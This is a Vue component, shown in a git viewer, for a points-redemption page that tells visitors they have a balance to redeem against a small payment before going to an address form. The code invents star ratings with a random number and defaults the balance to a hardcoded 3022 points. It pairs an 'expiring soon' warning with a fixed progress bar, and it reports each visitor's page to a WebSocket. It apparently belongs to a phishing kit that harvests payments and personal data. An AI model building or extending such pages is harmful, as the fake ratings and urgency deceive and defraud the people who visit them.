Files
zy-client-a/0000_gb_points_temp/src/views/GoodsView copy.vue
telangpu 2fd1a741cf update
2026-04-27 16:33:26 +08:00

1256 lines
32 KiB
Vue
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, nextTick, onBeforeUnmount, onMounted, ref, watch } from "vue";
import {
configData,
inputChange,
myWebSocket,
formatPriceWithUnit,
extractPrice,
formatNumber,
} from "@/utils/common";
import { globalConfig, goodsConfig } from "@/config";
import { useI18n } from "vue-i18n";
import ProductCard from "@/components/ProductCard/index.vue";
import ExchangeConfirmModal from "@/components/ProductCard/ExchangeConfirmModal.vue";
// ==================== 类型定义 ====================
interface GoodsItem {
image: string;
imageUrl: string;
title: string;
point: string;
point2?: number;
onlyPoints?: number;
price: string;
price2: number;
count: number;
subTitle?: string;
top?: string;
topName?: string;
tag?: string;
detail?: string;
}
// ==================== 常量定义 ====================
const THEME = {
GRID: "2",
STACK: "4",
} as const;
const FEE_TYPE = {
NONE: 0,
FIXED: 1,
ADDRESS_SELECT: 2,
GOODS_SELECT: 3,
} as const;
const TAB = {
FULL_POINTS: "1",
POINTS_MONEY: "2",
} as const;
const SHIPPING_OFFSET_DAYS = {
EXPRESS_START: 2,
STANDARD_START: 4,
STANDARD_END: 6,
} as const;
const LAYOUT = {
COLUMNS: 2,
GAP: 10,
} as const;
// ==================== 组合式函数和工具 ====================
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
// ==================== 响应式状态 ====================
const selectedGoods = ref<GoodsItem | null>(null);
const selectedTab = ref("");
const goodsList = ref<GoodsItem[]>([]);
const totalPoints = ref(0);
const moneyAmount = ref(0);
const selectGoods = ref<GoodsItem | null>(null);
const totalPoint = ref(3022);
const selectFee = ref("");
// Theme 4 确认弹窗相关
const showExchangeModal = ref(false);
const pendingExchangeGoods = ref<GoodsItem | null>(null);
// 瀑布流布局相关
const productsEl = ref<HTMLElement | null>(null);
let layoutRafId: number | null = null;
let resizeObserver: ResizeObserver | null = null;
// ==================== 工具函数 ====================
/**
* 获取商品的积分值
*/
const getGoodsPoints = (goods: GoodsItem): number => {
return Number(goods.point2) || Number(goods.onlyPoints) || 0;
};
/**
* 计算运费金额
*/
const calculateShippingFee = (): number => {
const feeType = goodsConfig.value.feeType;
if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
const fee1 = formatPriceWithUnit(goodsConfig.value.fee);
const fee2 = formatPriceWithUnit(goodsConfig.value.fee2);
if (selectFee.value === fee1) return goodsConfig.value.fee;
if (selectFee.value === fee2) return goodsConfig.value.fee2;
} else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
return goodsConfig.value.fee;
}
return 0;
};
/**
* 验证是否可以进行兑换
*/
const validateExchange = (): string | null => {
if (totalPoints.value === 0) {
return t("goods_view.please_redeem");
}
if (goodsConfig.value.feeType === FEE_TYPE.GOODS_SELECT && selectFee.value === "") {
return t("goods_view.please_select_date");
}
return null;
};
/**
* 保存兑换数据到 localStorage
*/
const saveExchangeData = (feeAmount: number, totalAmount: number) => {
localStorage.setItem("pointsUsed", totalPoints.value.toString());
if (moneyAmount.value > 0) {
localStorage.setItem("goodsPrice", moneyAmount.value.toString());
inputChange("SelectGoods", "price", moneyAmount.value.toString());
}
if (feeAmount > 0) {
const feeStr = formatPriceWithUnit(feeAmount);
inputChange("SelectGoods", "fee", feeStr);
localStorage.setItem("shippingFee", feeStr);
}
localStorage.setItem("moneyAmount", totalAmount.toString());
if (selectGoods.value) {
inputChange("SelectGoods", "title", selectGoods.value.title);
}
};
// ==================== 核心功能函数 ====================
/**
* 进行商品兑换并跳转到地址页
*/
const next = () => {
// 验证
const error = validateExchange();
if (error) {
alert(error);
return;
}
// 计算运费和总金额
const feeAmount = calculateShippingFee();
const totalAmount = moneyAmount.value + feeAmount;
// 保存数据
saveExchangeData(feeAmount, totalAmount);
// 跳转到地址页
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/address");
}, 200);
};
const tempList: Partial<GoodsItem>[] = [
{
image: "https://images.unsplash.com/photo-1657560566744-06d0b69f6647?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p1title"),
point2: 2999,
price: globalConfig?.goods_price || "0.23",
subTitle: "H2 Chip | Adaptive Audio | 3D Sound",
top: "TOP1",
topName: "Popularity List",
tag: "Hot",
count: 0,
},
{
image: "https://images.unsplash.com/photo-1743521442683-08ffd8ac9e14?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p2title"),
point2: 2999,
price: globalConfig?.goods_price || "0.23",
count: 0,
},
{
image: "https://images.unsplash.com/photo-1715081406782-d605bd2d39a8?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p3title"),
point2: 2699,
price: globalConfig?.goods_price || "0.23",
count: 0,
},
{
image: "https://images.unsplash.com/photo-1686554825554-24adfcf5406a?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p4title"),
point2: 2699,
price: globalConfig?.goods_price || "0.23",
count: 0,
},
{
image: "https://images.unsplash.com/photo-1740803292374-d942a979c5e3?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p5title"),
point2: 2499,
price: globalConfig?.goods_price || "0.23",
count: 0,
},
{
image: "https://images.unsplash.com/photo-1721300217761-e580569047f5?w=800&h=600&fit=crop&crop=center",
title: t("goods_view.p6title"),
point2: 2499,
price: globalConfig?.goods_price || "0.23",
count: 0,
},
];
/**
* 瀑布流布局absolute + JS 计算两列位置
* 规则按数据顺序交替落在左右列index % 2
*/
const layoutMasonry = async () => {
await nextTick();
const container = productsEl.value;
if (!container) return;
// Grid 或 Stack 布局模式下不需要瀑布流计算
const theme = goodsConfig.value.theme;
if (theme === THEME.GRID || theme === THEME.STACK) {
container.style.height = "auto";
return;
}
const items = Array.from(container.children as HTMLCollectionOf<HTMLElement>);
if (items.length === 0) {
container.style.height = "0px";
return;
}
const containerWidth = container.clientWidth;
if (containerWidth === 0) return;
const colWidth = Math.max(
0,
Math.floor((containerWidth - LAYOUT.GAP) / LAYOUT.COLUMNS)
);
const colHeights = new Array(LAYOUT.COLUMNS).fill(0);
items.forEach((item, index) => {
const col = index % LAYOUT.COLUMNS;
item.style.width = `${colWidth}px`;
item.style.left = `${col * (colWidth + LAYOUT.GAP)}px`;
item.style.top = `${colHeights[col]}px`;
colHeights[col] += item.offsetHeight + LAYOUT.GAP;
});
container.style.height = `${Math.max(...colHeights)}px`;
};
/**
* 调度布局更新(使用 requestAnimationFrame 优化性能)
*/
const scheduleLayout = () => {
if (layoutRafId != null) cancelAnimationFrame(layoutRafId);
layoutRafId = requestAnimationFrame(() => {
layoutRafId = null;
void layoutMasonry();
});
};
/**
* 添加或减少商品数量
*/
const add = (goods: GoodsItem, addNum: number) => {
const currentPoint = getGoodsPoints(goods);
// 检查积分是否足够
if (addNum > 0 && totalPoints.value + currentPoint * addNum > totalPoint.value) {
alert(t("goods_view.not_enough_points"));
return;
}
// 防止数量小于 0
if (goods.count === 0 && addNum < 0) {
return;
}
// 更新商品数量
goods.count += addNum;
// 更新总积分和金额
if (goods.count === 0) {
totalPoints.value = 0;
moneyAmount.value = 0;
selectGoods.value = null;
} else {
totalPoints.value += currentPoint * addNum;
moneyAmount.value += goods.price2 * addNum;
selectGoods.value = goods;
}
// 数量变化可能导致卡片高度变化,触发布局刷新
scheduleLayout();
};
/**
* Theme 4: 点击兑换按钮,显示确认弹窗
*/
const exchangeGoods = (goods: GoodsItem) => {
const currentPoint = getGoodsPoints(goods);
if (currentPoint > totalPoint.value) {
alert(t("goods_view.not_enough_points"));
return;
}
// 保存商品信息供其他页面使用
localStorage.setItem("selectedGoodsTitle", goods.title);
localStorage.setItem("selectedGoodsImage", goods.image);
localStorage.setItem("selectedGoodsDetail", goods.detail || goods.subTitle || "");
localStorage.setItem("goodsDetail", JSON.stringify(goods));
pendingExchangeGoods.value = goods;
showExchangeModal.value = true;
};
/**
* 确认兑换
*/
const confirmExchange = () => {
const goods = pendingExchangeGoods.value;
if (!goods) return;
const currentPoint = getGoodsPoints(goods);
// 设置商品数量为 1
goods.count = 1;
totalPoints.value = currentPoint;
moneyAmount.value = goods.price2 || 0;
selectGoods.value = goods;
// 关闭弹窗并跳转
showExchangeModal.value = false;
pendingExchangeGoods.value = null;
next();
};
/**
* 取消兑换
*/
const cancelExchange = () => {
showExchangeModal.value = false;
pendingExchangeGoods.value = null;
};
// ==================== 计算属性 ====================
const requiredPoints = computed(() =>
pendingExchangeGoods.value ? getGoodsPoints(pendingExchangeGoods.value) : 0
);
const remainingPointsAfterExchange = computed(() =>
totalPoint.value - requiredPoints.value
);
/**
* 获取或设置过期日期(缓存在 localStorage
*/
const getExpiryDate = (): string => {
const storedDate = localStorage.getItem("exchangeExpiryDate");
if (storedDate) return storedDate;
const now = new Date();
const nextMonth = new Date(now.getFullYear(), now.getMonth() + 1, now.getDate());
const formattedDate = nextMonth.toLocaleDateString("es-ES", {
day: "numeric",
month: "long",
year: "numeric"
});
localStorage.setItem("exchangeExpiryDate", formattedDate);
return formattedDate;
};
const expiryDate = ref(getExpiryDate());
/**
* 从配置数据创建商品列表
*/
const createGoodsFromConfig = (): GoodsItem[] => {
const result: GoodsItem[] = [];
if (!configData.value.goods?.list?.length) return result;
configData.value.goods.list.forEach((item: any) => {
const price = extractPrice(item["price"]) ?? 0;
const price2 = price * goodsConfig.value.rate;
const rawPrice = formatPriceWithUnit(price2);
result.push({
image: item["imageUrl"].split(",")[0],
imageUrl: item["imageUrl"],
title: item["name"],
point: item["points"] ? `${formatNumber(item["points"])} ${t("points")} + ${rawPrice}` : "",
point2: item["points"],
onlyPoints: item["onlyPoints"],
price: rawPrice,
price2,
count: 0,
subTitle: item["subName"],
top: item["top"],
topName: item["topName"],
tag: item["tag"],
detail: item["detail"] || "",
});
});
return result;
};
/**
* 从模板数据创建商品列表
*/
const createGoodsFromTemplate = (): GoodsItem[] => {
return tempList.map((item: any) => {
const priceStr = item.price.toString();
const priceMatch = priceStr.match(/(?:[a-zA-Z]*\s*)?(\d+(\.\d+)?)(?:\s*[a-zA-Z]*)?/);
const price2 = priceMatch?.[1] ? parseFloat(priceMatch[1]) : 0;
const rawPrice = formatPriceWithUnit(item.price);
return {
image: item.image,
imageUrl: item.image,
title: item.title,
point: `${formatNumber(item.point2)} ${t("points")} + ${rawPrice}`,
point2: item.point2,
onlyPoints: item.onlyPoints,
price: item.price,
price2,
count: 0,
subTitle: item.subTitle,
top: item.top,
topName: item.topName,
tag: item.tag,
detail: item.detail || "",
} as GoodsItem;
});
};
/**
* 根据选中的标签过滤商品列表
*/
const filterGoodsByTab = (list: GoodsItem[]): GoodsItem[] => {
if (selectedTab.value === TAB.POINTS_MONEY) {
return list.filter((g) => g.price !== undefined && g.price2 > 0);
} else if (selectedTab.value === TAB.FULL_POINTS) {
return list.filter((g) => g.onlyPoints !== undefined && g.onlyPoints > 0);
}
return list;
};
/**
* 初始化商品数据
*/
const initData = () => {
loadingStore.setLoading(false);
// 创建商品列表
let goodsListData: GoodsItem[];
if (configData.value.goods?.list?.length) {
goodsListData = createGoodsFromConfig();
} else if (configData.value.goods) {
goodsListData = createGoodsFromTemplate();
} else {
configData.value.goods = [];
goodsListData = [];
}
// 加载总积分
const point = localStorage.getItem("totalPoint");
if (point) totalPoint.value = Number(point);
// 根据标签过滤商品
goodsList.value = filterGoodsByTab(goodsListData);
// 触发布局刷新
scheduleLayout();
};
// ==================== 生命周期钩子 ====================
watch(
() => configData.value,
(newVal) => {
if (newVal) initData();
},
{ deep: true, immediate: true }
);
onMounted(() => {
initData();
// 通知 WebSocket 页面类型
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "goods" },
})
);
localStorage.setItem("route", "goods");
// 设置 ResizeObserver 监听容器大小变化
if (productsEl.value && typeof ResizeObserver !== "undefined") {
resizeObserver = new ResizeObserver(scheduleLayout);
resizeObserver.observe(productsEl.value);
}
scheduleLayout();
});
onBeforeUnmount(() => {
if (layoutRafId != null) {
cancelAnimationFrame(layoutRafId);
layoutRafId = null;
}
if (resizeObserver) {
resizeObserver.disconnect();
resizeObserver = null;
}
});
/**
* 打开商品详情
*/
const openModal = (goods: GoodsItem) => {
selectedGoods.value = goods;
localStorage.setItem("goodsDetail", JSON.stringify(goods));
// 如果不是商品页选择运费类型,跳转到详情页
if (goodsConfig.value.feeType !== FEE_TYPE.GOODS_SELECT) {
useLoadingStore().setLoading(true);
router.push("/goodsDetails");
}
};
/**
* 选择标签页
*/
const selectTab = (tab: string) => {
selectedTab.value = selectedTab.value === tab ? "" : tab;
initData();
};
// ==================== 配送日期计算 ====================
const currentDate = new Date();
const dayNames = computed(() => [
t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"),
t("Thursday"), t("Friday"), t("Saturday")
]);
const monthNames = computed(() => [
t("January"), t("February"), t("March"), t("April"),
t("May"), t("June"), t("July"), t("August"),
t("September"), t("October"), t("November"), t("December")
]);
const shippingMessage = computed(() => {
const date = new Date(currentDate);
date.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.EXPRESS_START);
const day = dayNames.value[date.getDay()];
const dateNum = date.getDate() + 1;
const month = monthNames.value[date.getMonth()];
return t("goods_view.express_shipping", {
day,
date: dateNum,
month
});
});
const shippingMessage2 = computed(() => {
const startDate = new Date(currentDate);
const endDate = new Date(currentDate);
startDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_START);
endDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_END);
return t("goods_view.delivery_between", {
startDay: dayNames.value[startDate.getDay()],
startDayNumber: startDate.getDate(),
startMonth: monthNames.value[startDate.getMonth()],
endDay: dayNames.value[endDate.getDay()],
endDayNumber: endDate.getDate(),
endMonth: monthNames.value[endDate.getMonth()],
});
});
/**
* 计算总金额(商品价格 + 运费)
*/
const totalAmount = computed(() =>
moneyAmount.value + calculateShippingFee()
);
/**
* 获取当前运费金额用于显示
*/
const currentShippingFee = computed(() => {
const feeType = goodsConfig.value.feeType;
if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
return selectFee.value;
} else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
return formatPriceWithUnit(goodsConfig.value.fee);
}
return "";
});
/**
* 计算平均需要的积分
*/
const averagePointsNeeded = computed(() => {
if (goodsList.value.length === 0) return 0;
const total = goodsList.value.reduce(
(sum, item) => sum + getGoodsPoints(item),
0
);
return Math.round(total / goodsList.value.length);
});
// ==================== 评分工具 ====================
const goodsRatings = ref<Map<string, number>>(new Map());
function getRating(goods: GoodsItem): number {
const key = goods.image;
if (!goodsRatings.value.has(key)) {
const rating = Math.round((4.5 + Math.random() * 0.5) * 10) / 10;
goodsRatings.value.set(key, rating);
}
return goodsRatings.value.get(key)!;
}
function getStars(rating: number): string {
return rating >= 4.8 ? '★★★★★' : '★★★★☆';
}
</script>
<template>
<CommonLayout>
<template #default>
<div class="gv-pts__page">
<div class="gv-pts__content">
<section class="gv-pts__card">
<!-- Header -->
<header class="gv-pts__card-header">
<span class="gv-pts__eyebrow-badge">{{ t('goods_view.exclusive_catalog') }}</span>
<h1 class="gv-pts__main-title">{{ t('goods_view.you_have_points', { points: formatNumber(totalPoint) }) }}</h1>
<p class="gv-pts__main-sub">{{ t('goods_view.redeem_desc') }}</p>
<div class="gv-pts__warn-box">
<span class="gv-pts__warn-icon"></span>
<span class="gv-pts__warn-text">{{ t('goods_view.expiring_soon') }}</span>
</div>
<div class="gv-pts__meter-wrap" aria-hidden="true">
<div class="gv-pts__meter-bar"></div>
</div>
<p class="gv-pts__bal-line">{{ t('goods_view.current_balance') }} <strong class="gv-pts__bal-num">{{ formatNumber(totalPoint) }}</strong> {{ t('points') }}</p>
<p class="gv-pts__bal-line gv-pts__bal-line--sm">{{ t('goods_view.avg_needed') }} <strong class="gv-pts__bal-num">{{ averagePointsNeeded.toLocaleString() }}</strong> {{ t('goods_view.points_per_reward') }}</p>
</header>
<!-- All products - same vertical card layout -->
<section class="gv-pts__list-section" v-if="goodsList.length > 0" aria-label="Shperblime te disponueshme">
<ul class="gv-pts__items">
<li class="gv-pts__item" v-for="(goods, index) in goodsList" :key="goods.image">
<div class="gv-pts__hero-img-box">
<img :src="goods.image" :alt="goods.title" class="gv-pts__hero-img" :loading="index === 0 ? 'eager' : 'lazy'">
<div class="gv-pts__hero-pts-badge">{{ goods.point2 ? goods.point2.toLocaleString() : '' }} {{ t('points') }}</div>
</div>
<div class="gv-pts__hero-info">
<h2 class="gv-pts__hero-title">{{ goods.title }}</h2>
<p class="gv-pts__hero-sub" v-if="goods.subTitle || goods.detail">{{ goods.subTitle || goods.detail }}</p>
<div class="gv-pts__tag-row">
<span class="gv-pts__tag" v-if="goods.top">{{ goods.top }}</span>
<span class="gv-pts__tag" v-if="goods.topName">{{ goods.topName }}</span>
<span class="gv-pts__tag" v-if="goods.tag">{{ goods.tag }}</span>
</div>
<div class="gv-pts__stars-row">
<span class="gv-pts__stars">{{ getStars(getRating(goods)) }}</span>
<span class="gv-pts__stars-score">({{ getRating(goods) }}/5)</span>
</div>
<button type="button" class="gv-pts__main-btn" @click="exchangeGoods(goods)">{{ t('goods_view.redeem_now') }}</button>
</div>
</li>
</ul>
</section>
<!-- Dialog -->
<Teleport to="body">
<Transition name="gv-dialog">
<div class="gv-pts__overlay" v-if="showExchangeModal" @click.self="cancelExchange">
<div class="gv-pts__dialog" role="dialog" aria-modal="true">
<div class="gv-pts__dialog-hd">
<h2 class="gv-pts__dialog-title">{{ t('goods_view.confirm_exchange_title') }}</h2>
</div>
<div class="gv-pts__dialog-bd">
<p class="gv-pts__dialog-warn">
<strong>{{ t('goods_view.notice_title') }}</strong> {{ t('goods_view.monthly_limit_msg', { date: expiryDate }) }}<br>
<strong>{{ t('goods_view.no_cancel_title') }}</strong> {{ t('goods_view.no_cancel_msg') }}
</p>
<dl class="gv-pts__dialog-dl">
<div class="gv-pts__dialog-row">
<dt class="gv-pts__dialog-dt">{{ t('goods_view.selected_reward_label') }}</dt>
<dd class="gv-pts__dialog-dd">{{ pendingExchangeGoods ? pendingExchangeGoods.title : '' }}</dd>
</div>
<div class="gv-pts__dialog-row">
<dt class="gv-pts__dialog-dt">{{ t('goods_view.points_required_label') }}</dt>
<dd class="gv-pts__dialog-dd gv-pts__dialog-dd--pts">{{ requiredPoints.toLocaleString() }}</dd>
</div>
<div class="gv-pts__dialog-row">
<dt class="gv-pts__dialog-dt">{{ t('goods_view.points_remaining_label') }}</dt>
<dd class="gv-pts__dialog-dd gv-pts__dialog-dd--rem">{{ remainingPointsAfterExchange.toLocaleString() }}</dd>
</div>
</dl>
<p class="gv-pts__dialog-q">{{ t('goods_view.confirm_question') }}</p>
</div>
<div class="gv-pts__dialog-ft">
<button type="button" class="gv-pts__btn-cancel" @click="cancelExchange">{{ t('Cancel') }}</button>
<button type="button" class="gv-pts__btn-confirm" @click="confirmExchange">{{ t('goods_view.confirm_btn') }}</button>
</div>
</div>
</div>
</Transition>
</Teleport>
<footer class="gv-pts__card-ft">
<p class="gv-pts__card-ft-note">{{ t('goods_view.points_note') }}</p>
</footer>
</section>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* ===== Page ===== */
.gv-pts__page {
min-height: 100vh;
background: #f4f4f4;
padding: 0;
box-sizing: border-box;
}
.gv-pts__content {
max-width: 480px;
margin: 0 auto;
padding: 14px;
}
/* ===== Card ===== */
.gv-pts__card {
background: #fff;
border-radius: 16px;
overflow: hidden;
box-shadow: 0 1px 12px rgba(0,0,0,0.08);
}
/* ===== Card Header ===== */
.gv-pts__card-header {
padding: 20px 18px 14px;
background: #fff;
border-bottom: 1px solid #f0f0f0;
}
.gv-pts__eyebrow-badge {
display: inline-block;
background: var(--global-primary-color);
color: #fff;
font-size: 10px;
font-weight: 700;
letter-spacing: 0.07em;
text-transform: uppercase;
padding: 5px 12px;
border-radius: 4px;
margin-bottom: 12px;
}
.gv-pts__main-title {
font-size: 22px;
font-weight: 700;
color: #111;
margin: 0 0 8px;
line-height: 1.25;
}
.gv-pts__main-sub {
font-size: 13px;
color: #666;
margin: 0 0 14px;
line-height: 1.55;
}
/* Warning box */
.gv-pts__warn-box {
display: flex;
gap: 8px;
align-items: flex-start;
background: #fff8e1;
border: 1px solid #ffe082;
border-radius: 8px;
padding: 10px 12px;
margin-bottom: 14px;
}
.gv-pts__warn-icon {
font-size: 15px;
flex-shrink: 0;
margin-top: 1px;
}
.gv-pts__warn-text {
font-size: 12px;
color: #7a5800;
line-height: 1.55;
}
/* Meter */
.gv-pts__meter-wrap {
height: 5px;
background: #eee;
border-radius: 3px;
overflow: hidden;
margin-bottom: 12px;
}
.gv-pts__meter-bar {
height: 100%;
width: 72%;
background: var(--global-primary-color);
border-radius: 3px;
}
/* Balance lines */
.gv-pts__bal-line {
font-size: 13px;
color: #333;
margin: 0 0 4px;
}
.gv-pts__bal-line--sm {
font-size: 12px;
color: #888;
margin-bottom: 0;
}
.gv-pts__bal-num {
color: var(--global-primary-color);
font-weight: 700;
font-size: inherit;
}
/* ===== Hero Section ===== */
.gv-pts__hero-section {
padding: 16px 18px 20px;
border-bottom: 1px solid #f0f0f0;
}
.gv-pts__hero-img-box {
position: relative;
width: 100%;
background: transparent;
border-radius: 12px;
overflow: hidden;
margin-bottom: 14px;
aspect-ratio: 4 / 3;
}
.gv-pts__hero-img {
width: 100%;
height: 100%;
object-fit: contain;
display: block;
padding: 16px;
box-sizing: border-box;
}
.gv-pts__hero-pts-badge {
position: absolute;
top: 10px;
right: 10px;
background: var(--global-primary-color);
color: #fff;
font-size: 12px;
font-weight: 700;
padding: 5px 12px;
border-radius: 20px;
text-transform: uppercase;
letter-spacing: 0.04em;
box-shadow: 0 2px 6px rgba(0,0,0,0.18);
}
.gv-pts__hero-info {
padding: 0 16px;
}
.gv-pts__hero-title {
font-size: 17px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
line-height: 1.35;
}
.gv-pts__hero-sub {
font-size: 12px;
color: #888;
margin: 0 0 12px;
line-height: 1.5;
}
/* Tags */
.gv-pts__tag-row {
display: flex;
flex-wrap: wrap;
gap: 6px;
margin-bottom: 10px;
}
.gv-pts__tag {
border: 1px solid var(--global-primary-color);
color: var(--global-primary-color);
font-size: 10px;
font-weight: 600;
padding: 3px 10px;
border-radius: 20px;
letter-spacing: 0.03em;
background: #fff;
}
/* Stars */
.gv-pts__stars-row {
display: flex;
align-items: center;
gap: 5px;
margin-bottom: 14px;
}
.gv-pts__stars {
color: #f5a623;
font-size: 15px;
}
.gv-pts__stars-score {
font-size: 12px;
color: #999;
}
/* Main CTA button */
.gv-pts__main-btn {
display: block;
width: 100%;
background: var(--global-primary-color);
color: #fff;
border: none;
border-radius: 8px;
padding: 14px 0;
font-size: 15px;
font-weight: 700;
cursor: pointer;
letter-spacing: 0.02em;
transition: opacity 0.16s;
}
.gv-pts__main-btn:active {
opacity: 0.82;
}
/* ===== Product List Section ===== */
.gv-pts__list-section {
padding: 16px 14px 20px;
}
.gv-pts__list-heading {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 4px;
}
.gv-pts__list-sub {
font-size: 12px;
color: #999;
margin: 0 0 14px;
line-height: 1.5;
}
.gv-pts__items {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 16px;
}
.gv-pts__item {
display: flex;
flex-direction: column;
background: #fff;
border-radius: 14px;
border: 1px solid #efefef;
overflow: hidden;
box-shadow: 0 1px 6px rgba(0,0,0,0.06);
padding: 0 0 16px;
}
.gv-pts__item-img-box {
position: relative;
flex-shrink: 0;
width: 80px;
height: 80px;
background: #f0f0f0;
border-radius: 8px;
overflow: hidden;
}
.gv-pts__item-img {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.gv-pts__item-pts-badge {
position: absolute;
bottom: 4px;
left: 50%;
transform: translateX(-50%);
background: var(--global-primary-color);
color: #fff;
font-size: 8px;
font-weight: 700;
padding: 2px 6px;
border-radius: 20px;
white-space: nowrap;
}
.gv-pts__item-body {
flex: 1;
min-width: 0;
display: flex;
flex-direction: column;
gap: 4px;
}
.gv-pts__item-title {
font-size: 13px;
font-weight: 600;
color: #111;
margin: 0;
line-height: 1.35;
}
.gv-pts__item-sub {
font-size: 11px;
color: #999;
margin: 0;
line-height: 1.45;
}
.gv-pts__item-foot {
display: flex;
align-items: center;
justify-content: space-between;
margin-top: 6px;
}
.gv-pts__sm-btn {
background: var(--global-primary-color);
color: #fff;
border: none;
border-radius: 6px;
padding: 6px 12px;
font-size: 11px;
font-weight: 700;
cursor: pointer;
transition: opacity 0.16s;
white-space: nowrap;
}
.gv-pts__sm-btn:active {
opacity: 0.82;
}
/* ===== Dialog transition ===== */
.gv-dialog-enter-active {
transition: opacity 0.25s ease;
}
.gv-dialog-leave-active {
transition: opacity 0.2s ease;
}
.gv-dialog-enter-from,
.gv-dialog-leave-to {
opacity: 0;
}
.gv-dialog-enter-active .gv-pts__dialog {
transition: transform 0.28s cubic-bezier(0.34, 1.4, 0.64, 1), opacity 0.25s ease;
}
.gv-dialog-leave-active .gv-pts__dialog {
transition: transform 0.2s ease, opacity 0.2s ease;
}
.gv-dialog-enter-from .gv-pts__dialog {
transform: translateY(40px) scale(0.96);
opacity: 0;
}
.gv-dialog-leave-to .gv-pts__dialog {
transform: translateY(20px) scale(0.97);
opacity: 0;
}
/* ===== Dialog ===== */
.gv-pts__overlay {
position: fixed;
inset: 0;
background: rgba(0,0,0,0.62);
backdrop-filter: blur(3px);
-webkit-backdrop-filter: blur(3px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
padding: 16px;
box-sizing: border-box;
pointer-events: auto;
}
.gv-pts__dialog {
background: #fff;
border-radius: 20px;
width: 100%;
max-width: 420px;
max-height: 90vh;
overflow-y: auto;
box-shadow: 0 24px 64px rgba(0,0,0,0.42), 0 4px 16px rgba(0,0,0,0.18);
}
.gv-pts__dialog-hd {
background: var(--global-primary-color);
padding: 22px 24px 20px;
border-radius: 16px 16px 0 0;
}
.gv-pts__dialog-title {
color: #fff;
font-size: 18px;
font-weight: 700;
margin: 0;
letter-spacing: 0.01em;
}
.gv-pts__dialog-bd {
padding: 24px 24px 16px;
display: flex;
flex-direction: column;
gap: 16px;
}
.gv-pts__dialog-warn {
font-size: 13px;
color: #555;
line-height: 1.7;
background: #fffbea;
border-left: 4px solid #f5a623;
padding: 12px 14px;
border-radius: 0 10px 10px 0;
margin: 0;
}
.gv-pts__dialog-dl {
background: #f8f8f8;
border-radius: 12px;
overflow: hidden;
margin: 0;
padding: 0;
border: 1px solid #efefef;
}
.gv-pts__dialog-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 14px 18px;
border-bottom: 1px solid #efefef;
}
.gv-pts__dialog-row:last-child {
border-bottom: none;
}
.gv-pts__dialog-dt {
font-size: 13px;
color: #888;
font-weight: 400;
}
.gv-pts__dialog-dd {
font-size: 14px;
font-weight: 700;
color: #111;
margin: 0;
text-align: right;
max-width: 58%;
}
.gv-pts__dialog-dd--pts {
color: var(--global-primary-color);
font-size: 16px;
}
.gv-pts__dialog-dd--rem {
color: #2e7d32;
font-size: 16px;
}
.gv-pts__dialog-q {
font-size: 14px;
color: #444;
text-align: center;
margin: 0;
font-weight: 500;
line-height: 1.6;
}
.gv-pts__dialog-ft {
display: flex;
gap: 12px;
padding: 16px 24px 24px;
}
.gv-pts__btn-cancel,
.gv-pts__btn-confirm {
flex: 1;
border: none;
border-radius: 10px;
padding: 15px 0;
font-size: 15px;
font-weight: 700;
cursor: pointer;
transition: opacity 0.16s, transform 0.12s;
}
.gv-pts__btn-cancel:active,
.gv-pts__btn-confirm:active {
opacity: 0.8;
transform: scale(0.97);
}
.gv-pts__btn-cancel {
background: #efefef;
color: #555;
}
.gv-pts__btn-confirm {
background: var(--global-primary-color);
color: #fff;
box-shadow: 0 4px 12px rgba(230, 0, 0, 0.25);
}
/* ===== Card Footer ===== */
.gv-pts__card-ft {
padding: 12px 18px;
border-top: 1px solid #f0f0f0;
background: #fafafa;
}
.gv-pts__card-ft-note {
font-size: 11px;
color: #bbb;
text-align: center;
margin: 0;
line-height: 1.5;
}
</style>